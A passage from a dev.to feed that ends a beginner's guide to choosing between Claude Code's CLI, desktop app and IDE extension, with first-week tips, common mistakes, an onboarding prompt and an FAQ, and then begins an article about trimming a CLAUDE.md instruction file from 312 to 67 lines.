&lt;li&gt;&lt;p&gt;&lt;strong&gt;Keep the default approval mode.&lt;/strong&gt; Every entry point defaults to asking before each action. Resist the urge to turn it off. Two weeks of watching Claude's proposals will teach you its behavior patterns better than any documentation.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Desktop App First Week
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  Choose &lt;strong&gt;Local&lt;/strong&gt; environment (not Remote, not SSH) — you want to see changes on your own filesystem&lt;/li&gt;
&lt;li&gt;  Start with read-only tasks: "Explain this project's structure," "List all TODO comments," "Summarize what this module does"&lt;/li&gt;
&lt;li&gt;  Graduate to low-risk writes: "Fix this typo in the README," "Add JSDoc comments to this function"&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  CLI First Week
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  Run &lt;code&gt;pwd&lt;/code&gt; before every &lt;code&gt;claude&lt;/code&gt; session — most CLI accidents happen because the user started in the wrong directory&lt;/li&gt;
&lt;li&gt;  Start with &lt;code&gt;claude&lt;/code&gt; (interactive mode) before trying &lt;code&gt;claude -p&lt;/code&gt; (headless mode)&lt;/li&gt;
&lt;li&gt;  Use &lt;code&gt;claude --resume&lt;/code&gt; to continue previous conversations instead of restarting context&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  IDE Extension First Week
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  Practice &lt;code&gt;@filename&lt;/code&gt; references — type &lt;code&gt;@auth&lt;/code&gt; and watch it resolve to &lt;code&gt;AuthService.ts&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;  Learn when to ask about the current file vs. when to ask about the whole project&lt;/li&gt;
&lt;li&gt;  Use the built-in terminal (&lt;code&gt;Ctrl+\&lt;/code&gt;&lt;code&gt;) to run&lt;/code&gt; claude` directly — the extension and CLI share session history&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  When Should You Add a Second Entry Point?
&lt;/h2&gt;

&lt;p&gt;Start with one. Add a second only when you hit a specific limitation.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What You Feel After Two Weeks&lt;/th&gt;
&lt;th&gt;Add This&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;"I want to see every change visually and run parallel tasks"&lt;/td&gt;
&lt;td&gt;Desktop App&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;"I want to automate recurring tasks or batch-process files"&lt;/td&gt;
&lt;td&gt;CLI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;"I hate switching windows while editing code"&lt;/td&gt;
&lt;td&gt;IDE Extension&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Every additional entry point should have one clear default purpose. Avoid the trap of opening all three and deciding per-task where to start — that burns more time than it saves.&lt;/p&gt;

&lt;p&gt;My stable setup after months of daily use: CLI as the automation engine, Desktop App as the visual review station, and Claude Code extension inside Cursor for editor-native work. But I arrived at that combination by starting with CLI alone and adding surfaces only when I hit real friction. The combination is a result, not a starting point.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Are the Most Common Beginner Mistakes?
&lt;/h2&gt;

&lt;p&gt;Five patterns I see repeatedly:&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 1: Installing All Three on Day One
&lt;/h3&gt;

&lt;p&gt;The shared engine means you get the same AI from every surface. Installing all three gives you three views of the same thing. &lt;strong&gt;Start with one. Add others when you have a reason.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 2: Agonizing Over Which Is "Better"
&lt;/h3&gt;

&lt;p&gt;The Desktop App is not a dumbed-down CLI. The CLI is not an advanced Desktop App. They are different interfaces to identical capabilities. &lt;strong&gt;Pick the one that matches your current habits and start building.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 3: Confusing the Desktop App's Code Tab with Chat
&lt;/h3&gt;

&lt;p&gt;The Desktop App has three tabs: Chat (plain conversation, never touches files), Cowork (autonomous cloud agent), and Code (programming assistant that modifies your local files). &lt;strong&gt;If Claude is not reading your project, you are probably in the Chat tab.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 4: Disabling Approval Mode in Week One
&lt;/h3&gt;

&lt;p&gt;The default "ask before every action" mode feels slow. That slowness is the feature — it forces you to read what Claude proposes before it executes. &lt;strong&gt;Keep it on for at least two weeks.&lt;/strong&gt; You will learn Claude's behavior patterns faster than through any other method.&lt;/p&gt;

&lt;h3&gt;
  
  
  Mistake 5: Fearing That Switching Entry Points Loses Your Work
&lt;/h3&gt;

&lt;p&gt;CLAUDE.md, settings, Skills, MCP configurations, and session history all persist across entry points. A CLI session can be resumed in the Desktop App. A VS Code conversation can be continued in the terminal. &lt;strong&gt;Switching is free. Start anywhere, migrate anytime.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Related Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/claude-code-complete-guide-2026/" rel="noopener noreferrer"&gt;Claude Code Complete Guide 2026&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;The complete Claude Code reference guide&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/claude-code-learning-roadmap/" rel="noopener noreferrer"&gt;Claude Code Learning Roadmap&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Follow the structured learning path&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/claude-code-quickstart-setup/" rel="noopener noreferrer"&gt;Claude Code Quickstart Setup&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Installation and first-session walkthrough&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/claude-code-best-practices/" rel="noopener noreferrer"&gt;Claude Code Best Practices&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Habits and patterns for effective daily use&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://aiworkflowpro.com/codex-cli-app-ide-cloud/" rel="noopener noreferrer"&gt;Codex CLI vs App vs IDE vs Cloud&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;Compare with Codex interface options&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Ready-to-Use Prompt: Pick Your Claude Code Entry Point and Map Your First Week
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What this does:&lt;/strong&gt; Scores the three Claude Code entry points (CLI, Desktop App, IDE extension) against how you already work, picks the single best one to start, maps your first week, and tells you the exact signal that justifies adding a second.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Based on:&lt;/strong&gt; Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use? — &lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/" rel="noopener noreferrer"&gt;https://aiworkflowpro.com/claude-code-cli-app-ide-guide/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Time to run:&lt;/strong&gt; ~3 minutes&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Copy this prompt into Claude Code, ChatGPT, or any AI assistant:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ROLE: You are a Claude Code onboarding advisor. Your job: pick the single entry point (CLI, App, or IDE) that matches how a person already works, and tell them exactly when to add a second.

CONTEXT — ENTRY POINT SELECTOR:
Claude Code has three entry points — Terminal CLI, Desktop App, IDE extension — all running the same engine, so your CLAUDE.md, settings, Skills, and MCP servers carry across every surface. The only real difference is the interface, and the right choice is the one that matches how you already work: shell-comfortable engineers → CLI; people who never touch a terminal → Desktop App; developers living inside VS Code or Cursor → the IDE extension. You can switch later at zero cost, so the goal is the lowest-friction first pick, not a permanent commitment.

INPUTS (fill in before running):
- WORK_STYLE: YOUR_DAILY_FLOW_HERE (where you spend your day — terminal, editor, browser, mix)
- TERMINAL_COMFORT: YOUR_LEVEL_HERE (none / can run a few commands / fluent)
- PRIMARY_EDITOR: YOUR_EDITOR_HERE (VS Code / Cursor / JetBrains / none / other)
- NEEDS_AUTOMATION: YOUR_ANSWER_HERE (do you want to script or schedule runs? yes/no)

METHOD — 6 STEPS:

Step 1 — Score the CLI
Rate the Terminal CLI 0-5 on fit using: terminal comfort (fluent = high), need for automation/scripting (yes = high), and primary workspace (lives in terminal = high). State the score per dimension.

Step 2 — Score the Desktop App
Rate the Desktop App 0-5 on fit using: terminal comfort (none = high fit), onboarding ease (beginner = high), and workspace (non-editor = high). State the score per dimension.

Step 3 — Score the IDE extension
Rate the IDE extension 0-5 on fit using: PRIMARY_EDITOR match (VS Code/Cursor = high), edit-review style (inline diffs = high), and time-in-editor (8h/day = high). State the score per dimension.

Step 4 — Pick one entry point
Sum the dimension scores; pick the single highest. Tie-break by lowest onboarding friction. State the pick and a one-line reason. Because the engine is shared, no capability is lost in the first pick.

Step 5 — Map the first week
For the chosen entry point, give a day-by-day first-week plan: install → connect CLAUDE.md/settings → first real task → add one MCP or Skill. Each day has one concrete action, not a tour.

Step 6 — Set the trigger to add a second entry point
Name the specific signal that justifies a second entry point (e.g., "you now script runs the GUI can't do" → add CLI to App; "you edit inside the editor more than the terminal" → add IDE). Until that signal fires, do not add a second — one surface first.

RULES:
- Pick exactly one entry point to start — never install all three on day one.
- The engine is shared; the choice is interface, not capability — do not optimize for "most powerful."
- Score against how the person already works, not against best-practice ideals.
- Add a second entry point only when a concrete trigger fires, not on curiosity.

OUTPUT FORMAT:
Output five sections:
1. **CLI score** — fit per dimension + total (0-5 scale).
2. **Desktop App score** — fit per dimension + total.
3. **IDE extension score** — fit per dimension + total.
4. **Pick + first week** — the chosen entry point + one-line reason, then a markdown table with columns: Day | Action.
5. **Second-entry-point trigger** — the specific signal that would justify adding a second surface.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Save as &lt;code&gt;@templates/claude-code-cli-app-ide-guide.md&lt;/code&gt; and run when you first install Claude Code, then re-run only if your work style changes or a second-entry-point trigger fires.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Does Claude Code CLI have more features than the Desktop App?
&lt;/h3&gt;

&lt;p&gt;Yes, but the gap keeps narrowing. CLI gets new features first — headless mode, pipe input, and full slash commands arrived there before other surfaces. The Desktop App counters with visual diff panels, multi-session management, and live preview. Core AI capabilities are identical because both connect to the same engine.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I use Claude Code in Cursor alongside Cursor's own AI?
&lt;/h3&gt;

&lt;p&gt;Yes. The VS Code extension installs directly into Cursor (and Windsurf, and Kiro — all VS Code forks). Run Cursor's autocomplete for line-level suggestions and delegate multi-file tasks to Claude Code. The two systems do not conflict.&lt;/p&gt;

&lt;h3&gt;
  
  
  Do settings and sessions sync across entry points?
&lt;/h3&gt;

&lt;p&gt;Yes. Anthropic states that sessions are not tied to a single surface. CLAUDE.md, settings.json, Skills, and MCP server configs are shared. Use &lt;code&gt;/desktop&lt;/code&gt; to hand a CLI session to the Desktop App, &lt;code&gt;claude --teleport&lt;/code&gt; to pull a cloud session to your terminal, or &lt;code&gt;claude --resume&lt;/code&gt; to continue any conversation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is Claude Code free?
&lt;/h3&gt;

&lt;p&gt;No. It requires Pro, Max, Team, or Enterprise subscription — or access through Anthropic Console, Amazon Bedrock, or Google Vertex AI. Check Anthropic's pricing page for current rates.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does Claude Code work on Windows?
&lt;/h3&gt;

&lt;p&gt;Yes. CLI runs natively on Windows (PowerShell, CMD, WinGet) and inside WSL 2. The Desktop App ships x64 and ARM64 installers. The VS Code extension works identically on Windows and macOS.&lt;/p&gt;




&lt;h2&gt;
  
  
  One-Line Takeaway
&lt;/h2&gt;

&lt;p&gt;Claude Code's three entry points are three faces of one engine — &lt;strong&gt;install the one that matches how you already work, run it for two weeks, then decide if you need another.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;— Leo&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Published in: &lt;a href="https://aiworkflowpro.com/tag/technology/" rel="noopener noreferrer"&gt;Technology&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/agentic-coding/" rel="noopener noreferrer"&gt;Agentic Coding&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/beginner/" rel="noopener noreferrer"&gt;Beginner&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/claude-code/" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://x.com/aiworkflowprolk" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.youtube.com/@aiworkflowprolk" rel="noopener noreferrer"&gt;&lt;em&gt;Download more icon variants from https://tabler-icons.io/i/brand-youtube&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I take real work from real industries and rebuild it with AI agents — the setup, the failures, the numbers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://aiworkflowpro.com/author/leo/" rel="noopener noreferrer"&gt;View articles&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#what-are-the-three-claude-code-entry-points" rel="noopener noreferrer"&gt;What Are the Three Claude Code Entry Points?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#why-does-claude-code-have-multiple-entry-points" rel="noopener noreferrer"&gt;Why Does Claude Code Have Multiple Entry Points?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#how-does-the-shared-engine-work-in-practice" rel="noopener noreferrer"&gt;How Does the Shared Engine Work in Practice?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#which-entry-point-should-you-pick" rel="noopener noreferrer"&gt;Which Entry Point Should You Pick?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#how-do-the-three-entry-points-compare-side-by-side" rel="noopener noreferrer"&gt;How Do the Three Entry Points Compare Side by Side?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#what-should-your-first-week-look-like" rel="noopener noreferrer"&gt;What Should Your First Week Look Like?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#when-should-you-add-a-second-entry-point" rel="noopener noreferrer"&gt;When Should You Add a Second Entry Point?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#what-are-the-most-common-beginner-mistakes" rel="noopener noreferrer"&gt;What Are the Most Common Beginner Mistakes?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#related-reading" rel="noopener noreferrer"&gt;Related Reading&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#ready-to-use-prompt-pick-your-claude-code-entry-point-and-map-your-first-week" rel="noopener noreferrer"&gt;Ready-to-Use Prompt: Pick Your Claude Code Entry Point and Map Your First Week&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#faq" rel="noopener noreferrer"&gt;FAQ&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/#one-line-takeaway" rel="noopener noreferrer"&gt;One-Line Takeaway&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>claudecode</category>
      <category>cli</category>
      <category>vscode</category>
      <category>developer</category>
    </item>
    <item>
      <title>Claude.md in 67 Lines: What 3 Rewrites Taught Me</title>
      <dc:creator>Leo Kane</dc:creator>
      <pubDate>Wed, 26 Aug 2026 07:51:10 +0000</pubDate>
      <link>https://dev.to/leo_kane_dcf8a742674c0741/claudemd-in-67-lines-what-3-rewrites-taught-me-2d0d</link>
      <guid>https://dev.to/leo_kane_dcf8a742674c0741/claudemd-in-67-lines-what-3-rewrites-taught-me-2d0d</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://aiworkflowpro.com/claude-code-claude-md/" rel="noopener noreferrer"&gt;AI Workflow Pro&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Claude.md in 67 Lines: What 3 Rewrites Taught Me
&lt;/h1&gt;

&lt;p&gt;Deleting 75% of an instruction file made the output better, not worse. That inversion is the whole argument. What each rewrite removed, what the final file still contains, and a starter template for business process automation without writing code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz6x2uunkhv1kavaxi8ps.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz6x2uunkhv1kavaxi8ps.webp" alt="Claude.md in 67 Lines: What 3 Rewrites Taught Me technical illustration for AI Workflow Pro readers" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Copy&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhn5gsocjdev6jp7cvxi1.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhn5gsocjdev6jp7cvxi1.webp" alt="Claude.md in 67 Lines: What 3 Rewrites Taught Me technical illustration for AI Workflow Pro readers" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every operations manual has two layers: the rules people actually follow, and the rules that exist so somebody can point at them later. A dental group's front-desk manual runs sixty pages, while the four things that genuinely change how the phone gets answered fit on an index card taped to the monitor. Instruction files behave the same way in business process automation, only worse - every unenforced rule you write pushes a real one out of reach. This article is one file rewritten three times, from 312 lines down to 67, and what was left standing at the end. The lesson travels well beyond the file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The short version:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  My current CLAUDE.md is 67 lines. v1 was 312 lines and barely worked&lt;/li&gt;
&lt;li&gt;  The fix wasn't writing better rules. It was deleting 75% of them&lt;/li&gt;
&lt;li&gt;  Full file below, side-by-side v1/v2/v3 comparison, and the six rules that survived the last rewrite&lt;/li&gt;
&lt;li&gt;  If you're not a programmer: the non-developer CLAUDE.md at the bottom is meant for you&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Everyone says CLAUDE.md should encode every rule you want Claude Code to follow. Actually, the best CLAUDE.md is the shortest one that gets the agent to your bar. Rules you wrote and never enforced become noise that pushes the real instructions out of the cache window.&lt;/p&gt;

&lt;p&gt;If you already cut your CLAUDE.md below 100 lines, skip ahead to the six rules. If yours is 200 lines and growing, read on through the three rewrites.&lt;/p&gt;

&lt;p&gt;My first CLAUDE.md was 312 lines of everything I could think of. Tab width. Naming conventions. A list of things Claude should "prefer." A paragraph of writing style rules. Two paragraphs of things to avoid. Four "important notes" at the bottom in all caps.&lt;/p&gt;

&lt;p&gt;Claude ignored about half of it.&lt;/p&gt;

&lt;p&gt;I assumed I was writing bad rules. I wrote more rules. The file grew to 380 lines. Claude started ignoring 60% of it.&lt;/p&gt;

&lt;p&gt;Then I found a &lt;a href="https://news.ycombinator.com/item?id=46256606&amp;amp;ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;Hacker News comment from Boris on the Claude Code team&lt;/a&gt;&lt;br&gt;
 that flipped the problem for me:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If there is anything Claude tends to repeatedly get wrong, not understand, or spend lots of tokens on, put it in your CLAUDE.md. I add to my team's CLAUDE.md multiple times a week.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Multiple times a week.&lt;/em&gt; Not "write it once perfectly." Not "cover every edge case." The file is supposed to be small enough that you can edit it mid-task.&lt;/p&gt;

&lt;p&gt;I rewrote mine from scratch. Cut to 142 lines. Then, a month later, to 67. That's the version Claude actually follows now, and the rest of this post is what got me there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who Is This For
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;  You've been using Claude Code for a few weeks and your CLAUDE.md is either empty or bloated&lt;/li&gt;
&lt;li&gt;  You copied a template off someone's blog and you're not sure why half the lines are in there&lt;/li&gt;
&lt;li&gt;  You're not a programmer, you're using Claude for writing, research, or a business you run alone&lt;/li&gt;
&lt;li&gt;  You want a file that feels like &lt;em&gt;yours&lt;/em&gt;, not a boilerplate&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you haven't installed Claude Code yet, &lt;a href="https://aiworkflowpro.com/claude-code-tutorial-mistakes/" rel="noopener noreferrer"&gt;start with my first-week guide&lt;/a&gt;&lt;br&gt;
 and come back. If you've already got a working CLAUDE.md and want prompts that make it earn its keep, jump to &lt;a href="https://aiworkflowpro.com/claude-code-prompt-patterns/" rel="noopener noreferrer"&gt;my prompt-pattern cheat sheet&lt;/a&gt;&lt;br&gt;
 instead.&lt;/p&gt;

&lt;p&gt;If you're deep in the Claude Code weeds already, skip to &lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#six-rules-that-made-v3-work" rel="noopener noreferrer"&gt;Six Rules&lt;/a&gt;&lt;br&gt;
 or &lt;a href="https://aiworkflowpro.com/claude-code-claude-md/#the-file-my-actual-67-line-claudemd" rel="noopener noreferrer"&gt;The File Itself&lt;/a&gt;&lt;br&gt;
.&lt;/p&gt;

&lt;h2&gt;
  
  
  What CLAUDE.md Actually Is (30 Seconds)
&lt;/h2&gt;

&lt;p&gt;Here is why this matters: every line in CLAUDE.md is paid for on every Claude Code call in this directory. Bloated rule files quietly raise your token bill and slow down the agent on every turn, even when the rules are not relevant.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx8hf7t59iwfeg8jqw7js.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx8hf7t59iwfeg8jqw7js.webp" alt="What CLAUDE.md Actually Is (30 Seconds) technical diagram for Claude.md in 67 Lines: What 3 Rewrites Taught Me" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One-line version:&lt;/strong&gt; CLAUDE.md is a Markdown file Claude Code reads at the start of every session. It becomes part of the system prompt, the background context Claude uses to answer you. Anthropic's own &lt;a href="https://code.claude.com/docs/en/memory?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;memory docs&lt;/a&gt;&lt;br&gt;
 put it plainly: &lt;em&gt;"Give Claude persistent instructions with CLAUDE.md files, and let Claude accumulate learnings automatically with auto memory."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Think of it as the onboarding doc you give a new hire. You don't paste the employee handbook at them. You tell them where their desk is, who their mentor is, and where the coffee is. Everything else is on the shared drive.&lt;/p&gt;

&lt;p&gt;A good CLAUDE.md is the same: directions, not documentation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Where CLAUDE.md Sits in Claude's Memory Stack (2026)
&lt;/h3&gt;

&lt;p&gt;There are three separate memory systems at Anthropic right now. Know which one you're in before you start writing rules:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;System&lt;/th&gt;
&lt;th&gt;Who it's for&lt;/th&gt;
&lt;th&gt;How it works&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Chat Memory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude.ai web / desktop users&lt;/td&gt;
&lt;td&gt;Claude remembers your preferences across chats. Free on all plans since March 2026. Nothing for you to write, it's automatic.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CLAUDE.md + Auto Memory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude Code users (this post)&lt;/td&gt;
&lt;td&gt;You write CLAUDE.md. Claude writes Auto Memory based on your corrections. Both load at session start.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Memory Tool (API)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Developers building on the Anthropic API&lt;/td&gt;
&lt;td&gt;Programmatic memory store for your own agent apps. Out of scope here.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The three aren't replacements for each other, they're parallel tools for different roles. If you use Claude.ai in the browser &lt;em&gt;and&lt;/em&gt; Claude Code in the terminal, you'll touch two of them. This post is about the second row.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Four File Layers Inside CLAUDE.md
&lt;/h3&gt;

&lt;p&gt;Within the Claude Code system, CLAUDE.md actually reads up to four files, layered from broad to specific:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Written by&lt;/th&gt;
&lt;th&gt;Scope&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Enterprise&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/Library/Application Support/ClaudeCode/CLAUDE.md&lt;/code&gt; (macOS)&lt;/td&gt;
&lt;td&gt;Your employer's admin&lt;/td&gt;
&lt;td&gt;Locked across the company&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;You&lt;/td&gt;
&lt;td&gt;All your projects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Project&lt;/td&gt;
&lt;td&gt;&lt;code&gt;./CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;You or your team&lt;/td&gt;
&lt;td&gt;This project only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rules&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.claude/rules/*.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;You or your team&lt;/td&gt;
&lt;td&gt;Loaded only when you touch matching paths&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

